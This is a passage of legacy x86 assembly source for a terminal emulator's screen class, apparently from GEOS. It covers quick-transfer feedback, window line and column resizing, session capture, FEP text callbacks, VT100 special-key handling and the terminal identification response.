brianc 3/25/91 Updated for 2.0 quick-transfer
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenViewClosingQT proc near
uses si
.enter
tst ss:[inCopy] ; doing quick transfer?
jz notCopy ; nope
call ClipboardAbortQuickTransfer ; if so, stop quick transfer
jmp short done
notCopy:
tst ss:[inDragSelect] ; doing drag selection?
jz done ; nope
call ScreenEndSelect ; else, end drag selection
done:
.leave
ret
ScreenViewClosingQT endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenStopQuickTransferFeedback
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: handle MSG_META_CONTENT_VIEW_LOST_GADGET_EXCL -
clear move/copy cursor if doing quick transfer
CALLED BY: MSG_META_CONTENT_VIEW_LOST_GADGET_EXCL
PASS: ds:bx - instance data
RETURN:
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
brianc 03/25/91 Initial version for 2.0 quick-transfer
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenStopQuickTransferFeedback method ScreenClass, \
MSG_META_CONTENT_VIEW_LOST_GADGET_EXCL
test ds:[bx].SI_intFlags, mask SIF_FEEDBACK_ON
jz done ; feedback not occuring
;no more MSG_META_VIS_LEAVE - brianc 3/6/92
; cmp ax, MSG_META_VIS_LEAVE
; jne notVisLeave
; ;
; ; indicate that we have left the view, in case we get a few lingering
; ; MSG_PTRs, while waiting for MSG_GEN_VIEW_ALLOW_GLOBAL_TRANSFER
; ; to take effect
; ;
; andnf ds:[bx].SI_intFlags, not mask SIF_IN_VIEW
;notVisLeave:
mov ax, CQTF_CLEAR ; clear any move/copy cursor
call ClipboardSetQuickTransferFeedback
andnf ds:[bx].SI_intFlags, not mask SIF_FEEDBACK_ON
done:
ret
ScreenStopQuickTransferFeedback endm
;ScreenVisEnter method ScreenClass, MSG_META_VIS_ENTER
; ornf ds:[bx].SI_intFlags, mask SIF_IN_VIEW
; ret
;ScreenVisEnter endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenSetWinLines
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Change #lines fit in a view
CALLED BY: MSG_SCR_SET_WIN_LINES
PASS: ds:*si - screen instance data
es - dgroup
ax - MSG_SCR_SET_WIN_LINES
dx - #lines to set
RETURN: nothing
DESTROYED:
PSEUDO CODE/STRATEGY:
if window doesn't need to be resized,
then exit
else
calc the new height
(to save time) if window width has changed set that too
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 03/16/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenSetWinLines method ScreenClass, MSG_SCR_SET_WIN_LINES
mov cx, dx ; cx - number of lines
mov si, ds:[si]
mov ds:[si][SI_maxLines], cl ;store #lines in screen
mov {byte} ds:[si][SI_scrollRegBot], cl ;store bottom (0-CL)
dec ds:[si][SI_scrollRegBot] ; line of scroll region
mov ax, ds:[si][SI_lineHeight] ;if window height hasn't changed
mul cl ;then
cmp ax, ds:[si][SI_winHeight] ; can exit
je exit ;
mov ds:[si][SI_winHeight], ax ;store the new window width
push ax ;and save it
call GetScreenWidth
mov cx, ax ;
mov ds:[si][SI_winWidth], cx ; store it
pop dx ; and resize the window
call ResetWindow
exit:
ret
ScreenSetWinLines endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenSetWinCols
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Changed #cols fit in a view
CALLED BY: MSG_SCR_SET_WIN_COLS
PASS: ds:*si - screen instance data
es - dgroup
ax - MSG_SCR_SET_WIN_COLS
dx - #cols to set
RETURN: nothing
DESTROYED:
PSEUDO CODE/STRATEGY:
if window doesn't need to be resized
then exit
else
calc the new window height
(to save time) if window width has changed set that too
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 03/16/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenSetWinCols method ScreenClass, MSG_SCR_SET_WIN_COLS
mov cx, dx ; cx - number of lines
mov si, ds:[si]
mov ds:[si][SI_maxCols], cl ;store #cols in screen
mov ax, ds:[si][SI_charWidth] ;if window width hasn't changed
mul cl ;then
cmp ax, ds:[si][SI_winWidth] ; can exit
je exit ;
mov ds:[si][SI_winWidth], ax
push ax ;save new width
call GetScreenHeight
mov dx, ax ;
mov ds:[si][SI_winHeight], dx ;and store it
pop cx ;get new width
call ResetWindow ;and reset the window
exit:
ret
ScreenSetWinCols endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenSubviewChange
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Handle when the view size changes.
CALLED BY: MSG_META_CONTENT_VIEW_SIZE_CHANGED
PASS: ds:*si - screen instance data
es - dgroup
ax - MSG_META_CONTENT_VIEW_SIZE_CHANGED
cx - document width
dx - document height
RETURN: nothing
DESTROYED: ax, bx, cx, dx, bp, di
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 03/16/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenSubviewChange method ScreenClass, MSG_META_CONTENT_VIEW_SIZE_CHANGED
mov si, ds:[si]
call CheckViewSize
ret
ScreenSubviewChange endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenRecordOn
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: bring up dialog box to ask user what he wants to capture
CALLED BY: MSG_SCR_RECORD_ON
PASS: ds:*si - screen instance data
es - dgroup
ax - MSG_SCR_RECORD_ON
RETURN: ds:[si][SI_capHandle] != BOGUS_VAL if recording
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 04/24/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenRecordOn method ScreenClass, MSG_SCR_RECORD_ON
push ds, si
segmov ds, es, si ;set ds to dgroup
GetResourceHandleNS SaveAsFileSelector, dx ; dx:si = file selector
mov si, offset SaveAsFileSelector
CallMod SetFilePath ;set path of the selected file
jc exit ;exit if path dorked
GetResourceHandleNS SaveAsTextEdit, dx ; dx:si = text object
mov si, offset SaveAsTextEdit ;
CallMod GetFileName ;
jc exit ;exit if filename dorked
push bx ; save filename block handle
CallMod CheckFileStatus
pop bx
pushf
call MemFree ; free filename block
popf
jc exit
mov cx, FILE_OVERWRITE
GetResourceHandleNS SaveAsTextEdit, dx ; dx:si = text object
mov si, offset SaveAsTextEdit
CallMod GetFileHandle ;get the file handle
jc exit ;exit if can't
pop ds, si
mov si, ds:[si]
call StartCapture
jmp short bye
exit:
pop ds, si
bye:
ret
ScreenRecordOn endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenIgnoreEscapeSeq
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Do nothing for the parsed escape sequence
CALLED BY: MSG_SCR_IGNORE_ESC_SEQ
PASS: *ds:si = ScreenClass object
ds:di = ScreenClass instance data
es = segment of ScreenClass
ax = message #
RETURN: nothing
DESTROYED: ax
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
simon 4/ 3/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenIgnoreEscapeSeq method dynamic ScreenClass, MSG_SCR_IGNORE_ESC_SEQ
ret
ScreenIgnoreEscapeSeq endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenRenewGraphicsOn
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Reset graphics attributes and then set the new ones
CALLED BY: MSG_SCR_RENEW_GRAPHICS_ON
PASS: *ds:si = ScreenClass object
ds:di = ScreenClass instance data
es = segment of ScreenClass
ax = message #
dgroup:[argArray] arguments:
0 : Turn off all attributes
1 : Bold Mode on
4 : Underscore on
5 : ScreenBlinkOn
7 : ScreenReverseOn
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
Reset graphics attributes;
Set to the new ones;
REVISION HISTORY:
Name Date Description
---- ---- -----------
simon 2/ 8/96 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenRenewGraphicsOn method dynamic ScreenClass,
MSG_SCR_RENEW_GRAPHICS_ON
.enter
push si, di
call ScreenNormalMode
pop si, di
call ScreenGraphicsOn
.leave
ret
ScreenRenewGraphicsOn endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenRenewScrollRegBottom
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Reset the top of scroll region and set the bottom to new
value
CALLED BY: MSG_SCR_RENEW_SCROLL_REG_BOTTOM
PASS: *ds:si = ScreenClass object
ds:di = ScreenClass instance data
es = segment of ScreenClass
ax = message #
ch = scroll reg bottom
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
Use default scroll region top;
Set the scroll region;
REVISION HISTORY:
Name Date Description
---- ---- -----------
simon 2/ 9/96 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenRenewScrollRegBottom method dynamic ScreenClass,
MSG_SCR_RENEW_SCROLL_REG_BOTTOM
.enter
clr cl ; default scroll region top line
xchg cl, ch ; ch <- scroll region top
; cl <- new scroll region bottom
call ScreenChangeScrollReg
.leave
ret
ScreenRenewScrollRegBottom endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenBringUpHelp
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: MSG_META_BRING_UP_HELP must be handled be a GenClass object
CALLED BY: MSG_META_BRING_UP_HELP
PASS: *ds:si = ScreenClass object
ds:di = ScreenClass instance data
ds:bx = ScreenClass object (same as *ds:si)
es = segment of ScreenClass
ax = message #
RETURN: nothing
DESTROYED: ax
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Joon 6/12/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenBringUpHelp method dynamic ScreenClass,
MSG_META_BRING_UP_HELP
GetResourceHandleNS TermPrimary, bx
mov si, offset TermPrimary
clr di
GOTO ObjMessage
ScreenBringUpHelp endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenFepCallBack
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: callback routine for FEP
CALLED BY:
PASS: cx:dx = optr of Screen object
di = FepCallBackFunction
ss:sp = FEP stack
RETURN: depends on passed di
DESTROYED: bx, si
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
brianc 2/9/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if USE_FEP
Fixed segment resource
ScreenFepCallBack proc far
movdw bxsi, cxdx ; ^lbx:si = Screen object
call cs:[ScreenFepCallBackTable][di]
ret
ScreenFepCallBack endp
ScreenFepCallBackTable nptr.near \
ScreenFepGetTempTextBounds, ;FCBF_GET_TEMP_TEXT_BOUNDS
ScreenFepGetTempTextAttr, ;FCBF_GET_TEMP_TEXT_ATTR
ScreenFepInsertTempText, ;FCBF_INSERT_TEMP_TEXT
ScreenFepDeleteText ;FCBF_DELETE_TEXT
.assert (size ScreenFepCallBackTable eq FepCallBackFunction)
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenFepGetTempTextBounds
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: suggest bounds for the temp text window
CALLED BY: ScreenFepCallBack
PASS: ^lbx:si = Screen object
?
RETURN: ax, bx = top left
cx, dx = bottom right
si = layer ID
bp = baseline offset
carry = set iff bounds are invalid
?
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
brianc 2/9/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenFepGetTempTextBounds proc near
mov ax, MSG_SCR_GET_FEP_TEMP_TEXT_BOUNDS
mov di, mask MF_CALL
call ObjMessage ; returns status in carry flag
ret
ScreenFepGetTempTextBounds endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenFepGetTempTextAttr
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: get temp text attributes for FEP
CALLED BY: ScreenFepCallBack
PASS: ss:bp = FepTempTextAttr to fill in
^lbx:si = Screen object
RETURN: ss:bp = FepTempTextAttr filled in
carry = set iff data invalid
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
brianc 2/9/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenFepGetTempTextAttr proc near
mov ax, MSG_SCR_GET_FEP_TEMP_TEXT_ATTR
mov cx, ss ; cx:dx = FepTempTextAttr
mov dx, bp
mov di, mask MF_CALL
call ObjMessage ; returns status in carry flag
ret
ScreenFepGetTempTextAttr endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenFepInsertTempText
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: send the passed text to the serial port
CALLED BY: ScreenFepCallBack
PASS: ^lbx:si = Screen object
es:bp = text string to insert (Unicode)
ax = number of characters
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
brianc 2/9/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenFepInsertTempText proc near
push ds, ax, cx, si
mov cx, ax ; cx = # chars
GetResourceSegmentNS dgroup, ds, ax ; ds = dgroup
cmp ds:[serialPort], NO_PORT
jne continue
mov ds:[scrKbdFepNoPortErr], BB_TRUE
jmp short done
continue:
mov si, bp ; es:si = text
call BufferedSendBuffer
done:
pop ds, ax, cx, si
ret
ScreenFepInsertTempText endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenFepDeleteText
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: delete the N characters immediately before the current
cursor position
CALLED BY: ScreenFepCallBack
PASS: ^lbx:si = Screen object
ax = number of characters to delete
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
brianc 2/9/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenFepDeleteText proc near
;
; nothing to do
;
ret
ScreenFepDeleteText endp
Fixed ends
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenGetFepTempTextAttr
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: return character attributes of text at current position
CALLED BY: MSG_SCR_GET_FEP_TEMP_TEXT_ATTR
PASS: *ds:si - Screen object
cx:dx - FepTempTextAttr to fill in
ax - MSG_SCR_GET_FEP_TEMP_TEXT_ATTR
RETURN: cx:dx - FepTempTextAttr filled in
carry set if info not available
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
brianc 4/4/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenGetFepTempTextAttr method dynamic ScreenClass,
MSG_SCR_GET_FEP_TEMP_TEXT_ATTR
mov si, ds:[si] ; ds:si = Screen object
clr ax
mov ah, {byte} ds:[si].SI_curLine ; ds:ax = start of line
SBCS < shr ax, 1 >
add ax, LINE_GRAFX_START ; ds:ax = start of line attrs
add ax, ds:[si].SI_curChar ; ds:ax = cur char attr
mov bx, ds:[si].SI_screenHandle
mov si, ax
call MemLock
mov ds, ax ; ds:si = cur char attr
mov al, ds:[si] ; al = cur char CharAttributes
call MemUnlock
mov es, cx ; es:di = FepTempTextAttr
mov di, dx
segmov ds, cs
mov si, offset screenFepTempTextAttr
mov cx, size FepTempTextAttr
rep movsb ; copy over defaults
mov di, dx
clr ah
test al, mask CA_UNDER_LO
jz noUnder
ornf ah, mask TS_UNDERLINE
noUnder:
test al, mask CA_BOLD_LO
jz noBold
ornf ah, mask TS_BOLD
noBold:
mov es:[di].FTTA_textCharAttr.VTCA_textStyles, ah
clc ; indicate info available
ret
ScreenGetFepTempTextAttr endm
screenFepTempTextAttr FepTempTextAttr <
;FTTA_winAttributes (FepTempWindowAttr)
<
<0, 1>, ;FTWA_xScale (WWFixed)
<0, 1>, ;FTWA_yScale (WWFixed)
0, ;FTWA_winColorFlags (WinColorFlags)
C_WHITE, ;FTWA_redOrIndex (byte)
0, ;FTWA_green (byte)
0 ;FTWA_blue (byte)
>,
<
;FTTA_textCharAttr (VisTextCharAttr)
<>, ;VTCA_meta (StyleSheetElementHeader)
TERM_FONT, ;VTCA_fontID (FontID)
<0, 16>, ;VTCA_pointSize (WBFixed)
0, ;VTCA_textStyles (TextStyle)
<C_BLACK,CF_INDEX,0,0>, ;VTCA_color (ColorQuad)
0, ;VTCA_trackKerning (sword)
100, ;VTCA_fontWeight (byte)
100, ;VTCA_fontWidth (byte)
0, ;VTCA_extendedStyles (VisTextExtendedStyles)
SDM_50, ;VTCA_grayScreen (SystemDrawMask)
<PT_SOLID,0>, ;VTCA_pattern (GraphicPattern)
<C_WHITE,CF_INDEX,0,0>, ;VTCA_bgColor (ColorQuad)
SDM_50, ;VTCA_bgGrayScreen (SystemDrawMask)
<PT_SOLID,0>, ;VTCA_bgPattern (GraphicPattern)
0 ;VTCA_reserved (byte 7 dup (0))
>
>
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenGetFepTempTextBounds
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: return bounds of text at current position
CALLED BY: MSG_SCR_GET_FEP_TEMP_TEXT_BOUNDS
PASS: *ds:si - Screen object
ax - MSG_SCR_GET_FEP_TEMP_TEXT_BOUNDS
?
RETURN: ?
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
brianc 4/4/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenGetFepTempTextBounds method dynamic ScreenClass,
MSG_SCR_GET_FEP_TEMP_TEXT_BOUNDS
stc
ret
ScreenGetFepTempTextBounds endm
endif
if _SPECIAL_KEY
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenSpecialKeyInsert
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Insert a special key
CALLED BY: MSG_SCR_SPECIAL_KEY_INSERT
PASS: *ds:si = ScreenClass object
ds:di = ScreenClass instance data
es = segment of ScreenClass
ax = message #
RETURN: nothing
DESTROYED: ax
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
simon 5/12/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenSpecialKeyInsert method dynamic ScreenClass,
MSG_SCR_SPECIAL_KEY_INSERT
.enter
;
; Query SpecialKeyList for the entry selected
;
push si
GetResourceHandleNS TermSpecialKeyList, bx
mov si, offset TermSpecialKeyList
mov di, mask MF_CALL or mask MF_FIXUP_DS
mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION
call ObjMessage ; ax <- selection
EC < tst ah >
EC < ERROR_NZ TERM_INVALID_SPECIAL_KEY_SELECTION >
call SpecialKeyListEntryToKOMBI ; al <- KOMBI
pop si
mov di, ds:[si]
if _TELNET
;
; If it is a telnet command, send it.
;
cmp al, KOMBI_PF
jae nonTelnetCmd
call TelnetSendCommandKey ; carry set if error
jmp exit
nonTelnetCmd:
endif ; _TELNET
;
; If it is PF1-4, it sends out same escape codes no matter what
;
CheckHack <KOMBI_PF lt KOMBI_ENTER>
cmp al, KOMBI_ENTER
jb sendAppKeys ; jmp if PF
;
; Reset terminal special key?
;
CheckHack < KOMBI_MINUS lt KOMBI_RESET>
cmp al, KOMBI_RESET
je resetTerm
;
; Ctrl character?
;
CheckHack <KOMBI_CTRL28 eq (KeypadOutMapBeginIndex-1)>
cmp al, KOMBI_CTRL28
jb testKeypadMode
call ScreenSendSpecialControlKey
jmp exit
resetTerm:
;
; Reset Terminal settings
;
call ScreenResetVT ; ax,cx,dx,bp,si,di destroyed
jmp exit
testKeypadMode:
;
; Check out what keypad mode we are in and determine if we should
; send out regular keys or escape codes.
;
CheckHack <FALSE eq 0>
BitTest ds:[di][SI_modeFlags], SVTMF_KEYPAD
jnz sendAppKeys
call ScreenSendNumKeypadKey ; ax,bx,cx,dx,di,bp destroyed
jmp exit
sendAppKeys:
call ScreenSendAppKeypadKey
exit:
.leave
ret
ScreenSpecialKeyInsert endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SpecialKeyListEntryToKOMBI
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Maps a selection number from the special keys list
to the coresponding KeypadOutMapBeginEntry value
CALLED BY: INTERNAL ScreenSpecialKeyInsert
PASS: ax = selection #
RETURN: al = KeypadOutMapBeginEntry
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CT 3/20/96 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SpecialKeyListEntryToKOMBI proc near
uses bx,bp,si,ds
.enter
CheckHack <KOMBI_CTRL28+3 eq NUM_SPECIAL_KEYS-1>
; Num special key is valid
;
; Deref the entry string block
;
mov_tr bp, ax
GetResourceHandleNS SpecialKeyEntryStrings, bx
call MemLock ; ax<-stpr of string blk
mov ds, ax
mov si, offset SpecialKeyEntryStringsTable
mov si, ds:[si] ; ds:si<-fptr key string table
;
; calc offset to KOMBI entry for given selection
;
stc
rcl bp ; bp = index*2+1
shl bp ; bp = index*4+2
;
; Fetch KOMBI
;
mov al, {byte}ds:[si][bp]
;
; unlock string block
;
call MemUnlock
.leave
ret
SpecialKeyListEntryToKOMBI endp
endif ; if _SPECIAL_KEY
EmulationCode segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenRespondWhatAreYou
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Respond to What Are You request
CALLED BY: MSG_SCR_RESPOND_WHAT_ARE_YOU
PASS: *ds:si = ScreenClass object
ds:di = ScreenClass instance data
es = segment of ScreenClass
ax = message #
RETURN: nothing
DESTROYED: ax
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
ONLY VALID FOR VT100
REVISION HISTORY:
Name Date Description
---- ---- -----------
simon 4/16/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
;
; The response is to Advanced Video Option (AVO) as default
;
WhatAreYouResponseSeq char C_ESCAPE, "[?1;2c"
ScreenRespondWhatAreYou method dynamic ScreenClass,
MSG_SCR_RESPOND_WHAT_ARE_YOU
WAYEscCode local (size WhatAreYouResponseSeq) \
dup (char)
; Code to send (XIP happy)
.enter
;
; Copy argument to send
;
segmov ds, cs, ax
mov si, offset WhatAreYouResponseSeq
segmov es, ss, ax
lea di, ss:[WAYEscCode]
copybuf <size WhatAreYouResponseSeq>
;
; Write the default response to this question.
;
lea si, ss:[WAYEscCode] ; essi<-code to send
mov cx, size WhatAreYouResponseSeq
GetResourceSegmentNS dgroup, ds
CallMod SendBuffer ; es:si<-past text
; carry set if error
.leave
ret
ScreenRespondWhatAreYou endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenRespondCursorPosition
